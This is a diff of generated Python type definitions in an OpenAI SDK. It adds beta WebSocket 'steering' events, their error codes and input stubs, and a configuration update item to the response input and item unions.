@@ -29,7 +29,16 @@ class CallerProgram(TypedDict, total=False):
Caller: TypeAlias = Union[CallerDirect, CallerProgram]
-class BetaResponseFunctionToolCallParam(TypedDict, total=False):
+_BetaResponseFunctionToolCallParamReservedKeywords = TypedDict(
+ "_BetaResponseFunctionToolCallParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
+
+
+class BetaResponseFunctionToolCallParam(_BetaResponseFunctionToolCallParamReservedKeywords, total=False):
"""A tool call to run a function.
See the
diff --git a/src/openai/types/beta/beta_response_incomplete_event.py b/src/openai/types/beta/beta_response_incomplete_event.py
index 138f0a3d72..1f8f2f6893 100644
--- a/src/openai/types/beta/beta_response_incomplete_event.py
+++ b/src/openai/types/beta/beta_response_incomplete_event.py
@@ -17,7 +17,12 @@ class Agent(BaseModel):
class BetaResponseIncompleteEvent(BaseModel):
- """An event that is emitted when a response finishes as incomplete."""
+ """An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ """
response: BetaResponse
"""The response that was incomplete."""
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index c9d6e0a73b..a424d1283c 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -25,6 +25,7 @@
from .beta_response_input_message_content_list import BetaResponseInputMessageContentList
from .beta_response_tool_search_output_item_param import BetaResponseToolSearchOutputItemParam
from .beta_response_function_call_output_item_list import BetaResponseFunctionCallOutputItemList
+from .beta_response_configuration_update_item_param import BetaResponseConfigurationUpdateItemParam
from .beta_response_function_shell_call_output_content import BetaResponseFunctionShellCallOutputContent
from .beta_response_computer_tool_call_output_screenshot import BetaResponseComputerToolCallOutputScreenshot
@@ -1148,6 +1149,7 @@ class ProgramOutput(BaseModel):
ToolSearchCall,
BetaResponseToolSearchOutputItemParam,
AdditionalTools,
+ BetaResponseConfigurationUpdateItemParam,
BetaResponseReasoningItem,
BetaResponseCompactionItemParam,
ImageGenerationCall,
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index 89e48c0dfe..061d8cd0d5 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -26,6 +26,7 @@
from .beta_response_input_message_content_list_param import BetaResponseInputMessageContentListParam
from .beta_response_tool_search_output_item_param_param import BetaResponseToolSearchOutputItemParamParam
from .beta_response_function_call_output_item_list_param import BetaResponseFunctionCallOutputItemListParam
+from .beta_response_configuration_update_item_param_param import BetaResponseConfigurationUpdateItemParamParam
from .beta_response_function_shell_call_output_content_param import BetaResponseFunctionShellCallOutputContentParam
from .beta_response_computer_tool_call_output_screenshot_param import BetaResponseComputerToolCallOutputScreenshotParam
@@ -1135,6 +1136,7 @@ class ProgramOutput(TypedDict, total=False):
ToolSearchCall,
BetaResponseToolSearchOutputItemParamParam,
AdditionalTools,
+ BetaResponseConfigurationUpdateItemParamParam,
BetaResponseReasoningItemParam,
BetaResponseCompactionItemParamParam,
ImageGenerationCall,
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index b6bb0fe17c..00378ab213 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -26,6 +26,7 @@
from .beta_response_input_message_content_list_param import BetaResponseInputMessageContentListParam
from .beta_response_tool_search_output_item_param_param import BetaResponseToolSearchOutputItemParamParam
from .beta_response_function_call_output_item_list_param import BetaResponseFunctionCallOutputItemListParam
+from .beta_response_configuration_update_item_param_param import BetaResponseConfigurationUpdateItemParamParam
from .beta_response_function_shell_call_output_content_param import BetaResponseFunctionShellCallOutputContentParam
from .beta_response_computer_tool_call_output_screenshot_param import BetaResponseComputerToolCallOutputScreenshotParam
@@ -1136,6 +1137,7 @@ class ProgramOutput(TypedDict, total=False):
ToolSearchCall,
BetaResponseToolSearchOutputItemParamParam,
AdditionalTools,
+ BetaResponseConfigurationUpdateItemParamParam,
BetaResponseReasoningItemParam,
BetaResponseCompactionItemParamParam,
ImageGenerationCall,
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 69098094ca..52bbf71da7 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -26,6 +26,7 @@
from .beta_response_function_tool_call_item import BetaResponseFunctionToolCallItem
from .beta_response_tool_search_output_item import BetaResponseToolSearchOutputItem
from .beta_response_function_shell_tool_call import BetaResponseFunctionShellToolCall
+from .beta_response_configuration_update_item import BetaResponseConfigurationUpdateItem
from .beta_response_code_interpreter_tool_call import BetaResponseCodeInterpreterToolCall
from .beta_response_apply_patch_tool_call_output import BetaResponseApplyPatchToolCallOutput
from .beta_response_custom_tool_call_output_item import BetaResponseCustomToolCallOutputItem
@@ -598,6 +599,7 @@ class McpCall(BaseModel):
BetaResponseToolSearchCall,
BetaResponseToolSearchOutputItem,
AdditionalTools,
+ BetaResponseConfigurationUpdateItem,
BetaResponseReasoningItem,
Program,
ProgramOutput,
diff --git a/src/openai/types/beta/beta_response_steer_accepted_event.py b/src/openai/types/beta/beta_response_steer_accepted_event.py
new file mode 100644
index 0000000000..f12b2d3925
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_accepted_event.py
@@ -0,0 +1,50 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseSteerAcceptedEvent", "Steer"]
+
+
+class Steer(BaseModel):
+ """The accepted steering submission."""
+
+ id: str
+ """The ID assigned to the steering submission."""
+
+ previous_response_id: str
+ """The ID of the response being steered."""
+
+
+class BetaResponseSteerAcceptedEvent(BaseModel):
+ """Emitted when steering input has been validated and queued.
+
+ Acceptance means
+ the server owns the input, not that it has been applied. The successor's
+ `response.created` event is the commit point. If accepted input cannot be
+ committed, `response.steer.failed` returns it with the same steering ID.
+
+ When the response stops for client-owned tool output or approval, the input
+ remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the pending event's `required_input` stubs with
+ saved results and send one matching explicit `response.create` per parent.
+ Do not resend accepted input while it is still queued.
+ """
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The accepted steering submission."""
+
+ type: Literal["response.steer.accepted"]
+ """The event discriminator. Always `response.steer.accepted`."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the target response's `response.create` event
+ supplied a `stream_id`.
+ """
diff --git a/src/openai/types/beta/beta_response_steer_error_code.py b/src/openai/types/beta/beta_response_steer_error_code.py
new file mode 100644
index 0000000000..080d94716c
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_error_code.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["BetaResponseSteerErrorCode"]
+
+BetaResponseSteerErrorCode: TypeAlias = Union[
+ Literal[
+ "response_not_found",
+ "invalid_input",
+ "steering_not_supported",
+ "too_many_pending_steers",
+ "response_already_completed",
+ "response_not_active",
+ "successor_creation_failed",
+ ],
+ str,
+]
diff --git a/src/openai/types/beta/beta_response_steer_event.py b/src/openai/types/beta/beta_response_steer_event.py
new file mode 100644
index 0000000000..9901d25ade
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_event.py
@@ -0,0 +1,61 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .beta_response_steer_input import BetaResponseSteerInput
+
+__all__ = ["BetaResponseSteerEvent"]
+
+
+class BetaResponseSteerEvent(BaseModel):
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+
+ input: BetaResponseSteerInput
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: str
+ """The ID of the response to steer on this WebSocket connection."""
+
+ type: Literal["response.steer"]
+ """The event discriminator. Always `response.steer`."""
diff --git a/src/openai/types/beta/beta_response_steer_event_param.py b/src/openai/types/beta/beta_response_steer_event_param.py
new file mode 100644
index 0000000000..002e704368
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_event_param.py
@@ -0,0 +1,62 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .beta_response_steer_input_param import BetaResponseSteerInputParam
+
+__all__ = ["BetaResponseSteerEventParam"]
+
+
+class BetaResponseSteerEventParam(TypedDict, total=False):
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+
+ input: Required[BetaResponseSteerInputParam]
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: Required[str]
+ """The ID of the response to steer on this WebSocket connection."""
+
+ type: Required[Literal["response.steer"]]
+ """The event discriminator. Always `response.steer`."""
diff --git a/src/openai/types/beta/beta_response_steer_failed_event.py b/src/openai/types/beta/beta_response_steer_failed_event.py
new file mode 100644
index 0000000000..513a4bc8ef
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_failed_event.py
@@ -0,0 +1,92 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .beta_response_steer_input import BetaResponseSteerInput
+from .beta_response_steer_error_code import BetaResponseSteerErrorCode
+
+__all__ = ["BetaResponseSteerFailedEvent", "Error", "Steer"]
+
+
+class Error(BaseModel):
+ """Information about why the input could not be committed."""
+
+ code: BetaResponseSteerErrorCode
+ """A machine-readable steering error code.
+
+ Clients should handle unknown values because additional codes may be introduced.
+ Known values include:
+
+ - `response_not_found`: The target response is not available on this connection.
+ - `invalid_input`: The event or input failed validation.
+ - `steering_not_supported`: The model or response execution mode does not
+ support steering.
+ - `too_many_pending_steers`: Too much steering input is pending for the
+ response.
+ - `response_already_completed`: The response completed and is no longer
+ accepting steering input.
+ - `response_not_active`: The response is no longer accepting steering input.
+ - `successor_creation_failed`: The successor response could not be created.
+ """
+
+ message: str
+ """A human-readable description of the error."""
+
+ type: Literal["invalid_request_error"]
+ """The error type. Always `invalid_request_error`."""
+
+
+class Steer(BaseModel):
+ """The steering submission that could not be committed."""
+
+ input: BetaResponseSteerInput
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: str
+ """The ID of the response that was targeted for steering."""
+
+ id: Optional[str] = None
+ """The ID assigned to the steering submission, if one was allocated."""
+
+
+class BetaResponseSteerFailedEvent(BaseModel):
+ """
+ Emitted when steering input is rejected or cannot be committed to a
+ successor response. Returns the original, uncommitted input so the client
+ can carry it into `response.create` when appropriate. Invalid input must
+ be corrected before retrying.
+
+ Failures after acceptance include the same steering ID. Failures before an
+ ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
+ leaves the outcome unknown; it is not proof that the input was rejected.
+ """
+
+ error: Error
+ """Information about why the input could not be committed."""
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The steering submission that could not be committed."""
+
+ type: Literal["response.steer.failed"]
+ """The event discriminator. Always `response.steer.failed`."""
+
+ stream_id: Optional[str] = None
+ """
+ The WebSocket lane that emitted this event, when the target response is
+ available and its `response.create` event supplied a `stream_id`.
+ """
diff --git a/src/openai/types/beta/beta_response_steer_input.py b/src/openai/types/beta/beta_response_steer_input.py
new file mode 100644
index 0000000000..aac528e60b
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_input.py
@@ -0,0 +1,124 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .beta_response_steer_input_content import BetaResponseSteerInputContent
+from .beta_response_function_call_output_item_list import BetaResponseFunctionCallOutputItemList
+
+__all__ = [
+ "BetaResponseSteerInput",
+ "ResponseSteerInputItemList",
+ "ResponseSteerInputItemListMessage",
+ "ResponseSteerInputItemListMessageAgent",
+ "ResponseSteerInputItemListFunctionCallOutput",
+ "ResponseSteerInputItemListFunctionCallOutputAgent",
+ "ResponseSteerInputItemListFunctionCallOutputCaller",
+ "ResponseSteerInputItemListFunctionCallOutputCallerDirect",
+ "ResponseSteerInputItemListFunctionCallOutputCallerProgram",
+]
+
+
+class ResponseSteerInputItemListMessageAgent(BaseModel):
+ """The agent that produced this item."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class ResponseSteerInputItemListMessage(BaseModel):
+ content: Union[List[BetaResponseSteerInputContent], str]
+ """The message content, as an array of content parts."""
+
+ role: Literal["user"]
+ """The message role. Always `user`."""
+
+ type: Literal["message"]
+ """The item type. Always `message`."""
+
+ id: Optional[str] = None
+ """The unique ID of this message item."""
+
+ agent: Optional[ResponseSteerInputItemListMessageAgent] = None
+ """The agent that produced this item."""
+
+ status: Optional[str] = None
+ """The status of the message item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputAgent(BaseModel):
+ """The agent that produced this item."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerDirect(BaseModel):
+ type: Literal["direct"]
+ """The caller type. Always `direct`."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerProgram(BaseModel):
+ caller_id: str
+ """The call ID of the program item that produced this tool call."""
+
+ type: Literal["program"]
+ """The caller type. Always `program`."""
+
+
+ResponseSteerInputItemListFunctionCallOutputCaller: TypeAlias = Annotated[
+ Union[
+ ResponseSteerInputItemListFunctionCallOutputCallerDirect,
+ ResponseSteerInputItemListFunctionCallOutputCallerProgram,
+ None,
+ ],
+ PropertyInfo(discriminator="type"),
+]
+
+
+class ResponseSteerInputItemListFunctionCallOutput(BaseModel):
+ """The output of a function tool call."""
+
+ output: Union[str, BetaResponseFunctionCallOutputItemList]
+ """Text, image, or file output of the function tool call."""
+
+ type: Literal["function_call_output"]
+ """The type of the function tool call output. Always `function_call_output`."""
+
+ id: Optional[str] = None
+ """The unique ID of the function tool call output.
+
+ Populated when this item is returned via API.
+ """
+
+ agent: Optional[ResponseSteerInputItemListFunctionCallOutputAgent] = None
+ """The agent that produced this item."""
+
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
+ caller: Optional[ResponseSteerInputItemListFunctionCallOutputCaller] = None
+ """The execution context that produced this tool call."""
+
+ name: Optional[str] = None
+ """The name of the tool that produced the output."""
+
+ namespace: Optional[str] = None
+ """The namespace of the tool that produced the output."""
+
+ status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
+ """The status of the item.
+
+ One of `in_progress`, `completed`, or `incomplete`. Populated when items are
+ returned via API.
+ """
+
+
+ResponseSteerInputItemList: TypeAlias = Annotated[
+ Union[ResponseSteerInputItemListMessage, ResponseSteerInputItemListFunctionCallOutput],
+ PropertyInfo(discriminator="type"),
+]
+
+BetaResponseSteerInput: TypeAlias = Union[str, List[ResponseSteerInputItemList]]
diff --git a/src/openai/types/beta/beta_response_steer_input_content.py b/src/openai/types/beta/beta_response_steer_input_content.py
new file mode 100644
index 0000000000..b2feca2be2
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_input_content.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .beta_response_input_file_content import BetaResponseInputFileContent
+from .beta_response_input_text_content import BetaResponseInputTextContent
+from .beta_response_input_image_content import BetaResponseInputImageContent
+
+__all__ = ["BetaResponseSteerInputContent"]
+
+BetaResponseSteerInputContent: TypeAlias = Annotated[
+ Union[BetaResponseInputTextContent, BetaResponseInputImageContent, BetaResponseInputFileContent],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/beta_response_steer_input_content_param.py b/src/openai/types/beta/beta_response_steer_input_content_param.py
new file mode 100644
index 0000000000..e97d067d31
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_input_content_param.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import TypeAlias
+
+from .beta_response_input_file_content_param import BetaResponseInputFileContentParam
+from .beta_response_input_text_content_param import BetaResponseInputTextContentParam
+from .beta_response_input_image_content_param import BetaResponseInputImageContentParam
+
+__all__ = ["BetaResponseSteerInputContentParam"]
+
+BetaResponseSteerInputContentParam: TypeAlias = Union[
+ BetaResponseInputTextContentParam, BetaResponseInputImageContentParam, BetaResponseInputFileContentParam
+]
diff --git a/src/openai/types/beta/beta_response_steer_input_param.py b/src/openai/types/beta/beta_response_steer_input_param.py
new file mode 100644
index 0000000000..002369514d
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_input_param.py
@@ -0,0 +1,118 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .beta_response_steer_input_content_param import BetaResponseSteerInputContentParam
+from .beta_response_function_call_output_item_list_param import BetaResponseFunctionCallOutputItemListParam
+
+__all__ = [
+ "BetaResponseSteerInputParam",
+ "ResponseSteerInputItemList",
+ "ResponseSteerInputItemListMessage",
+ "ResponseSteerInputItemListMessageAgent",
+ "ResponseSteerInputItemListFunctionCallOutput",
+ "ResponseSteerInputItemListFunctionCallOutputAgent",
+ "ResponseSteerInputItemListFunctionCallOutputCaller",
+ "ResponseSteerInputItemListFunctionCallOutputCallerDirect",
+ "ResponseSteerInputItemListFunctionCallOutputCallerProgram",
+]
+
+
+class ResponseSteerInputItemListMessageAgent(TypedDict, total=False):
+ """The agent that produced this item."""
+
+ agent_name: Required[str]
+ """The canonical name of the agent that produced this item."""
+
+
+class ResponseSteerInputItemListMessage(TypedDict, total=False):
+ content: Required[Union[Iterable[BetaResponseSteerInputContentParam], str]]
+ """The message content, as an array of content parts."""
+
+ role: Required[Literal["user"]]
+ """The message role. Always `user`."""
+
+ type: Required[Literal["message"]]
+ """The item type. Always `message`."""
+
+ id: Optional[str]
+ """The unique ID of this message item."""
+
+ agent: Optional[ResponseSteerInputItemListMessageAgent]
+ """The agent that produced this item."""
+
+ status: Optional[str]
+ """The status of the message item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputAgent(TypedDict, total=False):
+ """The agent that produced this item."""
+
+ agent_name: Required[str]
+ """The canonical name of the agent that produced this item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerDirect(TypedDict, total=False):
+ type: Required[Literal["direct"]]
+ """The caller type. Always `direct`."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerProgram(TypedDict, total=False):
+ caller_id: Required[str]
+ """The call ID of the program item that produced this tool call."""
+
+ type: Required[Literal["program"]]
+ """The caller type. Always `program`."""
+
+
+ResponseSteerInputItemListFunctionCallOutputCaller: TypeAlias = Union[
+ ResponseSteerInputItemListFunctionCallOutputCallerDirect, ResponseSteerInputItemListFunctionCallOutputCallerProgram
+]
+
+
+class ResponseSteerInputItemListFunctionCallOutput(TypedDict, total=False):
+ """The output of a function tool call."""
+
+ output: Required[Union[str, BetaResponseFunctionCallOutputItemListParam]]
+ """Text, image, or file output of the function tool call."""
+
+ type: Required[Literal["function_call_output"]]
+ """The type of the function tool call output. Always `function_call_output`."""
+
+ id: Optional[str]
+ """The unique ID of the function tool call output.
+
+ Populated when this item is returned via API.
+ """
+
+ agent: Optional[ResponseSteerInputItemListFunctionCallOutputAgent]
+ """The agent that produced this item."""
+
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
+ caller: Optional[ResponseSteerInputItemListFunctionCallOutputCaller]
+ """The execution context that produced this tool call."""
+
+ name: Optional[str]
+ """The name of the tool that produced the output."""
+
+ namespace: Optional[str]
+ """The namespace of the tool that produced the output."""
+
+ status: Optional[Literal["in_progress", "completed", "incomplete"]]
+ """The status of the item.
+
+ One of `in_progress`, `completed`, or `incomplete`. Populated when items are
+ returned via API.
+ """
+
+
+ResponseSteerInputItemList: TypeAlias = Union[
+ ResponseSteerInputItemListMessage, ResponseSteerInputItemListFunctionCallOutput
+]
+
+BetaResponseSteerInputParam: TypeAlias = Union[str, Iterable[ResponseSteerInputItemList]]
diff --git a/src/openai/types/beta/beta_response_steer_pending_event.py b/src/openai/types/beta/beta_response_steer_pending_event.py
new file mode 100644
index 0000000000..491a08cb24
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_pending_event.py
@@ -0,0 +1,74 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .beta_response_steer_pending_reason import BetaResponseSteerPendingReason
+from .beta_response_steer_required_input import BetaResponseSteerRequiredInput
+
+__all__ = ["BetaResponseSteerPendingEvent", "Steer"]
+
+
+class Steer(BaseModel):
+ """The steering submission that remains queued."""
+
+ id: str
+ """The ID assigned to the steering submission."""
+
+ previous_response_id: str
+ """The ID of the response being steered."""
+
+
+class BetaResponseSteerPendingEvent(BaseModel):
+ """
+ Emitted when accepted steering input remains queued after the target
+ response completes. The server still owns the input. Do not resend it.
+ The successor's `response.created` event is the commit point.
+
+ When `reason` is `waiting_for_required_input`, this event follows
+ `response.completed` while the response waits for the tool results or
+ approval decisions identified by `required_input`. Copy those stubs, fill
+ their result fields using the ordinary `response.create` input schemas,
+ and submit one continuation per parent with the same `previous_response_id`
+ and WebSocket lane. Use saved results without rerunning tools. The queued
+ steering input is prepended in submission order to the continuation's
+ input. That explicit request retains its own settings.
+
+ This notification is emitted at most once per steering submission. Multiple
+ submissions for the same parent can report the same required inputs; they
+ do not each require a separate continuation.
+ """
+
+ reason: BetaResponseSteerPendingReason
+ """
+ An extensible enum describing why accepted steering input is still queued.
+ Clients should handle unknown values because additional reasons may be
+ introduced. Known values include:
+
+ - `waiting_for_required_input`: The response is waiting for the tool results or
+ approval decisions identified by `required_input`.
+ """
+
+ required_input: List[BetaResponseSteerRequiredInput]
+ """
+ Input stubs identifying outstanding client-owned tool results or approval
+ decisions. Each stub contains identifying fields only; the client supplies the
+ result before including it in `response.create`.
+ """
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The steering submission that remains queued."""
+
+ type: Literal["response.steer.pending"]
+ """The event discriminator. Always `response.steer.pending`."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the target response's `response.create` event
+ supplied a `stream_id`.
+ """
diff --git a/src/openai/types/beta/beta_response_steer_pending_reason.py b/src/openai/types/beta/beta_response_steer_pending_reason.py
new file mode 100644
index 0000000000..e9d523238c
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_pending_reason.py
@@ -0,0 +1,8 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["BetaResponseSteerPendingReason"]
+
+BetaResponseSteerPendingReason: TypeAlias = Union[Literal["waiting_for_required_input"], str]
diff --git a/src/openai/types/beta/beta_response_steer_required_input.py b/src/openai/types/beta/beta_response_steer_required_input.py
new file mode 100644
index 0000000000..f179054cee
--- /dev/null
+++ b/src/openai/types/beta/beta_response_steer_required_input.py
@@ -0,0 +1,114 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "BetaResponseSteerRequiredInput",
+ "FunctionCallOutput",
+ "CustomToolCallOutput",
+ "ComputerCallOutput",
+ "ShellCallOutput",
+ "ApplyPatchCallOutput",
+ "ToolSearchOutput",
+ "McpApprovalResponse",
+]
+
+
+class FunctionCallOutput(BaseModel):
+ """Supply `output` using the function tool call output input schema."""
+
+ call_id: str
+
+ name: str
+
+ type: Literal["function_call_output"]
+
+
+class CustomToolCallOutput(BaseModel):
+ """Supply `output` using the custom tool call output input schema.
+
+ The
+ original custom tool call supplies the tool's name.
+ """
+
+ call_id: str
+
+ type: Literal["custom_tool_call_output"]
+
+
+class ComputerCallOutput(BaseModel):
+ """
+ Supply `output` using the computer tool call output input schema,
+ including any required `acknowledged_safety_checks`.
+ """
+
+ call_id: str
+
+ type: Literal["computer_call_output"]
+
+
+class ShellCallOutput(BaseModel):
+ """Supply `output` using the shell tool call output input schema.
+
+ Each
+ output entry includes `stdout`, `stderr`, and `outcome`.
+ """
+
+ call_id: str
+
+ type: Literal["shell_call_output"]
+
+
+class ApplyPatchCallOutput(BaseModel):
+ """
+ Supply `status` and optional `output` using the apply patch tool call
+ output input schema.
+ """
+
+ call_id: str
+
+ type: Literal["apply_patch_call_output"]
+
+
+class ToolSearchOutput(BaseModel):
+ """
+ Supply `tools` using the tool search output input schema, retaining
+ `execution: "client"`.
+ """
+
+ call_id: str
+
+ execution: Literal["client"]
+
+ type: Literal["tool_search_output"]
+
+
+class McpApprovalResponse(BaseModel):
+ """Supply `approve` using the MCP approval response input schema.
+
+ An
+ optional `reason` can be supplied when denying the request. The original
+ approval request identifies the tool and server.
+ """
+
+ approval_request_id: str
+
+ type: Literal["mcp_approval_response"]
+
+
+BetaResponseSteerRequiredInput: TypeAlias = Annotated[
+ Union[
+ FunctionCallOutput,
+ CustomToolCallOutput,
+ ComputerCallOutput,
+ ShellCallOutput,
+ ApplyPatchCallOutput,
+ ToolSearchOutput,
+ McpApprovalResponse,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 6e755dd439..17e1d267c5 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -16,6 +16,7 @@
from .beta_response_includable import BetaResponseIncludable
from .beta_tool_choice_allowed import BetaToolChoiceAllowed
from .beta_tool_choice_options import BetaToolChoiceOptions
+from .beta_response_steer_event import BetaResponseSteerEvent
from .beta_response_text_config import BetaResponseTextConfig
from .beta_tool_choice_function import BetaToolChoiceFunction
from .beta_response_inject_event import BetaResponseInjectEvent
